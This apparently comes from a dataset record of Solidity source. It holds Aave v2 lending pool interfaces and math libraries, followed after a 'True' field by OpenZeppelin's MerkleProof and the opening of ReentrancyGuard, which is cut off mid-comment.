enum Roles {DEPOSITOR, BORROWER, LIQUIDATOR, STABLE_RATE_MANAGER}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title LendingPoolAddressesProvider contract
* @dev Main registry of addresses part of or connected to the protocol, including permissioned roles
* - Acting also as factory of proxies and admin of those, so with right to change its implementations
* - Owned by the Aave Governance
* @author Aave
**/
interface ILendingPoolAddressesProvider {
event MarketIdSet(string newMarketId);
event LendingPoolUpdated(address indexed newAddress);
event ConfigurationAdminUpdated(address indexed newAddress);
event EmergencyAdminUpdated(address indexed newAddress);
event LendingPoolConfiguratorUpdated(address indexed newAddress);
event LendingPoolCollateralManagerUpdated(address indexed newAddress);
event PriceOracleUpdated(address indexed newAddress);
event LendingRateOracleUpdated(address indexed newAddress);
event ProxyCreated(bytes32 id, address indexed newAddress);
event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy);
function getMarketId() external view returns (string memory);
function setMarketId(string calldata marketId) external;
function setAddress(bytes32 id, address newAddress) external;
function setAddressAsProxy(bytes32 id, address impl) external;
function getAddress(bytes32 id) external view returns (address);
function getLendingPool() external view returns (address);
function setLendingPoolImpl(address pool) external;
function getLendingPoolConfigurator() external view returns (address);
function setLendingPoolConfiguratorImpl(address configurator) external;
function getLendingPoolCollateralManager() external view returns (address);
function setLendingPoolCollateralManager(address manager) external;
function getPoolAdmin() external view returns (address);
function setPoolAdmin(address admin) external;
function getEmergencyAdmin() external view returns (address);
function setEmergencyAdmin(address admin) external;
function getPriceOracle() external view returns (address);
function setPriceOracle(address priceOracle) external;
function getLendingRateOracle() external view returns (address);
function setLendingRateOracle(address lendingRateOracle) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {ILendingPoolAddressesProvider} from './ILendingPoolAddressesProvider.sol';
import {DataTypes} from '../protocol/libraries/types/DataTypes.sol';
interface ILendingPool {
/**
* @dev Emitted on deposit()
* @param reserve The address of the underlying asset of the reserve
* @param user The address initiating the deposit
* @param onBehalfOf The beneficiary of the deposit, receiving the aTokens
* @param amount The amount deposited
* @param referral The referral code used
**/
event Deposit(
address indexed reserve,
address user,
address indexed onBehalfOf,
uint256 amount,
uint16 indexed referral
);
/**
* @dev Emitted on withdraw()
* @param reserve The address of the underlyng asset being withdrawn
* @param user The address initiating the withdrawal, owner of aTokens
* @param to Address that will receive the underlying
* @param amount The amount to be withdrawn
**/
event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount);
/**
* @dev Emitted on borrow() and flashLoan() when debt needs to be opened
* @param reserve The address of the underlying asset being borrowed
* @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just
* initiator of the transaction on flashLoan()
* @param onBehalfOf The address that will be getting the debt
* @param amount The amount borrowed out
* @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable
* @param borrowRate The numeric rate at which the user has borrowed
* @param referral The referral code used
**/
event Borrow(
address indexed reserve,
address user,
address indexed onBehalfOf,
uint256 amount,
uint256 borrowRateMode,
uint256 borrowRate,
uint16 indexed referral
);
/**
* @dev Emitted on repay()
* @param reserve The address of the underlying asset of the reserve
* @param user The beneficiary of the repayment, getting his debt reduced
* @param repayer The address of the user initiating the repay(), providing the funds
* @param amount The amount repaid
**/
event Repay(
address indexed reserve,
address indexed user,
address indexed repayer,
uint256 amount
);
/**
* @dev Emitted on swapBorrowRateMode()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user swapping his rate mode
* @param rateMode The rate mode that the user wants to swap to
**/
event Swap(address indexed reserve, address indexed user, uint256 rateMode);
/**
* @dev Emitted on setUserUseReserveAsCollateral()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user enabling the usage as collateral
**/
event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user);
/**
* @dev Emitted on setUserUseReserveAsCollateral()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user enabling the usage as collateral
**/
event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user);
/**
* @dev Emitted on rebalanceStableBorrowRate()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user for which the rebalance has been executed
**/
event RebalanceStableBorrowRate(address indexed reserve, address indexed user);
/**
* @dev Emitted on flashLoan()
* @param target The address of the flash loan receiver contract
* @param initiator The address initiating the flash loan
* @param asset The address of the asset being flash borrowed
* @param amount The amount flash borrowed
* @param premium The fee flash borrowed
* @param referralCode The referral code used
**/
event FlashLoan(
address indexed target,
address indexed initiator,
address indexed asset,
uint256 amount,
uint256 premium,
uint16 referralCode
);
/**
* @dev Emitted when the pause is triggered.
*/
event Paused();
/**
* @dev Emitted when the pause is lifted.
*/
event Unpaused();
/**
* @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via
* LendingPoolCollateral manager using a DELEGATECALL
* This allows to have the events in the generated ABI for LendingPool.
* @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
* @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
* @param user The address of the borrower getting liquidated
* @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
* @param liquidatedCollateralAmount The amount of collateral received by the liiquidator
* @param liquidator The address of the liquidator
* @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
* to receive the underlying collateral asset directly
**/
event LiquidationCall(
address indexed collateralAsset,
address indexed debtAsset,
address indexed user,
uint256 debtToCover,
uint256 liquidatedCollateralAmount,
address liquidator,
bool receiveAToken
);
/**
* @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared
* in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal,
* the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it
* gets added to the LendingPool ABI
* @param reserve The address of the underlying asset of the reserve
* @param liquidityRate The new liquidity rate
* @param stableBorrowRate The new stable borrow rate
* @param variableBorrowRate The new variable borrow rate
* @param liquidityIndex The new liquidity index
* @param variableBorrowIndex The new variable borrow index
**/
event ReserveDataUpdated(
address indexed reserve,
uint256 liquidityRate,
uint256 stableBorrowRate,
uint256 variableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex
);
/**
* @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
* - E.g. User deposits 100 USDC and gets in return 100 aUSDC
* @param asset The address of the underlying asset to deposit
* @param amount The amount to be deposited
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
/**
* @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
* E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
* @param asset The address of the underlying asset to withdraw
* @param amount The underlying amount to be withdrawn
* - Send the value type(uint256).max in order to withdraw the whole aToken balance
* @param to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
* @return The final amount withdrawn
**/
function withdraw(
address asset,
uint256 amount,
address to
) external returns (uint256);
/**
* @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower
* already deposited enough collateral, or he was given enough allowance by a credit delegator on the
* corresponding debt token (StableDebtToken or VariableDebtToken)
* - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet
* and 100 stable/variable debt tokens, depending on the `interestRateMode`
* @param asset The address of the underlying asset to borrow
* @param amount The amount to be borrowed
* @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
* @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself
* calling the function if he wants to borrow against his own collateral, or the address of the credit delegator
* if he has been given credit delegation allowance
**/
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external;
/**
* @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned
* - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address
* @param asset The address of the borrowed underlying asset previously borrowed
* @param amount The amount to repay
* - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
* @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
* @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the
* user calling the function if he wants to reduce/remove his own debt, or the address of any other
* other borrower whose debt should be removed
* @return The final amount repaid
**/
function repay(
address asset,
uint256 amount,
uint256 rateMode,
address onBehalfOf
) external returns (uint256);
/**
* @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa
* @param asset The address of the underlying asset borrowed
* @param rateMode The rate mode that the user wants to swap to
**/
function swapBorrowRateMode(address asset, uint256 rateMode) external;
/**
* @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve.
* - Users can be rebalanced if the following conditions are satisfied:
* 1. Usage ratio is above 95%
* 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been
* borrowed at a stable rate and depositors are not earning enough
* @param asset The address of the underlying asset borrowed
* @param user The address of the user to be rebalanced
**/
function rebalanceStableBorrowRate(address asset, address user) external;
/**
* @dev Allows depositors to enable/disable a specific deposited asset as collateral
* @param asset The address of the underlying asset deposited
* @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise
**/
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
/**
* @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1
* - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives
* a proportionally amount of the `collateralAsset` plus a bonus to cover market risk
* @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
* @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
* @param user The address of the borrower getting liquidated
* @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
* @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
* to receive the underlying collateral asset directly
**/
function liquidationCall(
address collateralAsset,
address debtAsset,
address user,
uint256 debtToCover,
bool receiveAToken
) external;
/**
* @dev Allows smartcontracts to access the liquidity of the pool within one transaction,
* as long as the amount taken plus a fee is returned.
* IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration.
* For further details please visit https://developers.aave.com
* @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface
* @param assets The addresses of the assets being flash-borrowed
* @param amounts The amounts amounts being flash-borrowed
* @param modes Types of the debt to open if the flash loan is not returned:
* 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver
* 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
* 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
* @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2
* @param params Variadic packed params to pass to the receiver as extra information
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
/**
* @dev Returns the user account data across all the reserves
* @param user The address of the user
* @return totalCollateralETH the total collateral in ETH of the user
* @return totalDebtETH the total debt in ETH of the user
* @return availableBorrowsETH the borrowing power left of the user
* @return currentLiquidationThreshold the liquidation threshold of the user
* @return ltv the loan to value of the user
* @return healthFactor the current health factor of the user
**/
function getUserAccountData(address user)
external
view
returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
function initReserve(
address reserve,
address aTokenAddress,
address stableDebtAddress,
address variableDebtAddress,
address interestRateStrategyAddress
) external;
function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress)
external;
function setConfiguration(address reserve, uint256 configuration) external;
/**
* @dev Returns the configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The configuration of the reserve
**/
function getConfiguration(address asset)
external
view
returns (DataTypes.ReserveConfigurationMap memory);
/**
* @dev Returns the configuration of the user across all the reserves
* @param user The user address
* @return The configuration of the user
**/
function getUserConfiguration(address user)
external
view
returns (DataTypes.UserConfigurationMap memory);
/**
* @dev Returns the normalized income normalized income of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The reserve's normalized income
*/
function getReserveNormalizedIncome(address asset) external view returns (uint256);
/**
* @dev Returns the normalized variable debt per unit of asset
* @param asset The address of the underlying asset of the reserve
* @return The reserve normalized variable debt
*/
function getReserveNormalizedVariableDebt(address asset) external view returns (uint256);
/**
* @dev Returns the state and configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The state of the reserve
**/
function getReserveData(address asset) external view returns (DataTypes.ReserveData memory);
function finalizeTransfer(
address asset,
address from,
address to,
uint256 amount,
uint256 balanceFromAfter,
uint256 balanceToBefore
) external;
function getReservesList() external view returns (address[] memory);
function getAddressesProvider() external view returns (ILendingPoolAddressesProvider);
function setPause(bool val) external;
function paused() external view returns (bool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IERC20} from './IERC20.sol';
interface IERC20Detailed is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Errors} from '../helpers/Errors.sol';
/**
* @title PercentageMath library
* @author Aave
* @notice Provides functions to perform percentage calculations
* @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR
* @dev Operations are rounded half up
**/
library PercentageMath {
uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals
uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2;
/**
* @dev Executes a percentage multiplication
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The percentage of value
**/
function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) {
if (value == 0 || percentage == 0) {
return 0;
}
require(
value <= (type(uint256).max - HALF_PERCENT) / percentage,
Errors.MATH_MULTIPLICATION_OVERFLOW
);
return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR;
}
/**
* @dev Executes a percentage division
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The value divided the percentage
**/
function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) {
require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfPercentage = percentage / 2;
require(
value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR,
Errors.MATH_MULTIPLICATION_OVERFLOW
);
return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ILendingPool} from './ILendingPool.sol';
import {IAaveIncentivesController} from './IAaveIncentivesController.sol';
/**
* @title IInitializableDebtToken
* @notice Interface for the initialize function common between debt tokens
* @author Aave
**/
interface IInitializableDebtToken {
/**
* @dev Emitted when a debt token is initialized
* @param underlyingAsset The address of the underlying asset
* @param pool The address of the associated lending pool
* @param incentivesController The address of the incentives controller for this aToken
* @param debtTokenDecimals the decimals of the debt token
* @param debtTokenName the name of the debt token
* @param debtTokenSymbol the symbol of the debt token
* @param params A set of encoded parameters for additional initialization
**/
event Initialized(
address indexed underlyingAsset,
address indexed pool,
address incentivesController,
uint8 debtTokenDecimals,
string debtTokenName,
string debtTokenSymbol,
bytes params
);
/**
* @dev Initializes the debt token.
* @param pool The address of the lending pool where this aToken will be used
* @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
* @param incentivesController The smart contract managing potential incentives distribution
* @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's
* @param debtTokenName The name of the token
* @param debtTokenSymbol The symbol of the token
*/
function initialize(
ILendingPool pool,
address underlyingAsset,
IAaveIncentivesController incentivesController,
uint8 debtTokenDecimals,
string memory debtTokenName,
string memory debtTokenSymbol,
bytes calldata params
) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IAaveIncentivesController {
event RewardsAccrued(address indexed user, uint256 amount);
event RewardsClaimed(address indexed user, address indexed to, uint256 amount);
event RewardsClaimed(
address indexed user,
address indexed to,
address indexed claimer,
uint256 amount
);
event ClaimerSet(address indexed user, address indexed claimer);
/*
* @dev Returns the configuration of the distribution for a certain asset
* @param asset The address of the reference asset of the distribution
* @return The asset index, the emission per second and the last updated timestamp
**/
function getAssetData(address asset)
external
view
returns (
uint256,
uint256,
uint256
);
/*
* LEGACY **************************
* @dev Returns the configuration of the distribution for a certain asset
* @param asset The address of the reference asset of the distribution
* @return The asset index, the emission per second and the last updated timestamp
**/
function assets(address asset)
external
view
returns (
uint128,
uint128,
uint256
);
/**
* @dev Whitelists an address to claim the rewards on behalf of another address
* @param user The address of the user
* @param claimer The address of the claimer
*/
function setClaimer(address user, address claimer) external;
/**
* @dev Returns the whitelisted claimer for a certain address (0x0 if not set)
* @param user The address of the user
* @return The claimer address
*/
function getClaimer(address user) external view returns (address);
/**
* @dev Configure assets for a certain rewards emission
* @param assets The assets to incentivize
* @param emissionsPerSecond The emission for each asset
*/
function configureAssets(address[] calldata assets, uint256[] calldata emissionsPerSecond)
external;
/**
* @dev Called by the corresponding asset on any update that affects the rewards distribution
* @param asset The address of the user
* @param userBalance The balance of the user of the asset in the lending pool
* @param totalSupply The total supply of the asset in the lending pool
**/
function handleAction(
address asset,
uint256 userBalance,
uint256 totalSupply
) external;
/**
* @dev Returns the total of rewards of an user, already accrued + not yet accrued
* @param user The address of the user
* @return The rewards
**/
function getRewardsBalance(address[] calldata assets, address user)
external
view
returns (uint256);
/**
* @dev Claims reward for an user, on all the assets of the lending pool, accumulating the pending rewards
* @param amount Amount of rewards to claim
* @param to Address that will be receiving the rewards
* @return Rewards claimed
**/
function claimRewards(
address[] calldata assets,
uint256 amount,
address to
) external returns (uint256);
/**
* @dev Claims reward for an user on behalf, on all the assets of the lending pool, accumulating the pending rewards. The caller must
* be whitelisted via "allowClaimOnBehalf" function by the RewardsAdmin role manager
* @param amount Amount of rewards to claim
* @param user Address to check and claim rewards
* @param to Address that will be receiving the rewards
* @return Rewards claimed
**/
function claimRewardsOnBehalf(
address[] calldata assets,
uint256 amount,
address user,
address to
) external returns (uint256);
/**
* @dev returns the unclaimed rewards of the user
* @param user the address of the user
* @return the unclaimed user rewards
*/
function getUserUnclaimedRewards(address user) external view returns (uint256);
/**
* @dev returns the unclaimed rewards of the user
* @param user the address of the user
* @param asset The asset to incentivize
* @return the user index for the asset
*/
function getUserAssetData(address user, address asset) external view returns (uint256);
/**
* @dev for backward compatibility with previous implementation of the Incentives controller
*/
function REWARD_TOKEN() external view returns (address);
/**
* @dev for backward compatibility with previous implementation of the Incentives controller
*/
function PRECISION() external view returns (uint8);
/**
* @dev Gets the distribution end timestamp of the emissions
*/
function DISTRIBUTION_END() external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ILendingPool} from './ILendingPool.sol';
import {IAaveIncentivesController} from './IAaveIncentivesController.sol';
/**
* @title IInitializableAToken
* @notice Interface for the initialize function on AToken
* @author Aave
**/
interface IInitializableAToken {
/**
* @dev Emitted when an aToken is initialized
* @param underlyingAsset The address of the underlying asset
* @param pool The address of the associated lending pool
* @param treasury The address of the treasury
* @param incentivesController The address of the incentives controller for this aToken
* @param aTokenDecimals the decimals of the underlying
* @param aTokenName the name of the aToken
* @param aTokenSymbol the symbol of the aToken
* @param params A set of encoded parameters for additional initialization
**/
event Initialized(
address indexed underlyingAsset,
address indexed pool,
address treasury,
address incentivesController,
uint8 aTokenDecimals,
string aTokenName,
string aTokenSymbol,
bytes params
);
/**
* @dev Initializes the aToken
* @param pool The address of the lending pool where this aToken will be used
* @param treasury The address of the Aave treasury, receiving the fees on this aToken
* @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
* @param incentivesController The smart contract managing potential incentives distribution
* @param aTokenDecimals The decimals of the aToken, same as the underlying asset's
* @param aTokenName The name of the aToken
* @param aTokenSymbol The symbol of the aToken
*/
function initialize(
ILendingPool pool,
address treasury,
address underlyingAsset,
IAaveIncentivesController incentivesController,
uint8 aTokenDecimals,
string calldata aTokenName,
string calldata aTokenSymbol,
bytes calldata params
) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface ILendingPoolConfigurator {
struct InitReserveInput {
address aTokenImpl;
address stableDebtTokenImpl;
address variableDebtTokenImpl;
uint8 underlyingAssetDecimals;
address interestRateStrategyAddress;
address underlyingAsset;
address treasury;
address incentivesController;
string underlyingAssetName;
string aTokenName;
string aTokenSymbol;
string variableDebtTokenName;
string variableDebtTokenSymbol;
string stableDebtTokenName;
string stableDebtTokenSymbol;
bytes params;
}
struct UpdateATokenInput {
address asset;
address treasury;
address incentivesController;
string name;
string symbol;
address implementation;
bytes params;
}
struct UpdateDebtTokenInput {
address asset;
address incentivesController;
string name;
string symbol;
address implementation;
bytes params;
}
/**
* @dev Emitted when a reserve is initialized.
* @param asset The address of the underlying asset of the reserve
* @param aToken The address of the associated aToken contract
* @param stableDebtToken The address of the associated stable rate debt token
* @param variableDebtToken The address of the associated variable rate debt token
* @param interestRateStrategyAddress The address of the interest rate strategy for the reserve
**/
event ReserveInitialized(
address indexed asset,
address indexed aToken,
address stableDebtToken,
address variableDebtToken,
address interestRateStrategyAddress
);
/**
* @dev Emitted when borrowing is enabled on a reserve
* @param asset The address of the underlying asset of the reserve
* @param stableRateEnabled True if stable rate borrowing is enabled, false otherwise
**/
event BorrowingEnabledOnReserve(address indexed asset, bool stableRateEnabled);
/**
* @dev Emitted when borrowing is disabled on a reserve
* @param asset The address of the underlying asset of the reserve
**/
event BorrowingDisabledOnReserve(address indexed asset);
/**
* @dev Emitted when the collateralization risk parameters for the specified asset are updated.
* @param asset The address of the underlying asset of the reserve
* @param ltv The loan to value of the asset when used as collateral
* @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized
* @param liquidationBonus The bonus liquidators receive to liquidate this asset
**/
event CollateralConfigurationChanged(
address indexed asset,
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus
);
/**
* @dev Emitted when stable rate borrowing is enabled on a reserve
* @param asset The address of the underlying asset of the reserve
**/
event StableRateEnabledOnReserve(address indexed asset);
/**
* @dev Emitted when stable rate borrowing is disabled on a reserve
* @param asset The address of the underlying asset of the reserve
**/
event StableRateDisabledOnReserve(address indexed asset);
/**
* @dev Emitted when a reserve is activated
* @param asset The address of the underlying asset of the reserve
**/
event ReserveActivated(address indexed asset);
/**
* @dev Emitted when a reserve is deactivated
* @param asset The address of the underlying asset of the reserve
**/
event ReserveDeactivated(address indexed asset);
/**
* @dev Emitted when a reserve is frozen
* @param asset The address of the underlying asset of the reserve
**/
event ReserveFrozen(address indexed asset);
/**
* @dev Emitted when a reserve is unfrozen
* @param asset The address of the underlying asset of the reserve
**/
event ReserveUnfrozen(address indexed asset);
/**
* @dev Emitted when a reserve factor is updated
* @param asset The address of the underlying asset of the reserve
* @param factor The new reserve factor
**/
event ReserveFactorChanged(address indexed asset, uint256 factor);
/**
* @dev Emitted when the reserve decimals are updated
* @param asset The address of the underlying asset of the reserve
* @param decimals The new decimals
**/
event ReserveDecimalsChanged(address indexed asset, uint256 decimals);
/**
* @dev Emitted when a reserve interest strategy contract is updated
* @param asset The address of the underlying asset of the reserve
* @param strategy The new address of the interest strategy contract
**/
event ReserveInterestRateStrategyChanged(address indexed asset, address strategy);
/**
* @dev Emitted when an aToken implementation is upgraded
* @param asset The address of the underlying asset of the reserve
* @param proxy The aToken proxy address
* @param implementation The new aToken implementation
**/
event ATokenUpgraded(
address indexed asset,
address indexed proxy,
address indexed implementation
);
/**
* @dev Emitted when the implementation of a stable debt token is upgraded
* @param asset The address of the underlying asset of the reserve
* @param proxy The stable debt token proxy address
* @param implementation The new aToken implementation
**/
event StableDebtTokenUpgraded(
address indexed asset,
address indexed proxy,
address indexed implementation
);
/**
* @dev Emitted when the implementation of a variable debt token is upgraded
* @param asset The address of the underlying asset of the reserve
* @param proxy The variable debt token proxy address
* @param implementation The new aToken implementation
**/
event VariableDebtTokenUpgraded(
address indexed asset,
address indexed proxy,
address indexed implementation
);
} | True | [
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|
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.11;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.11;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
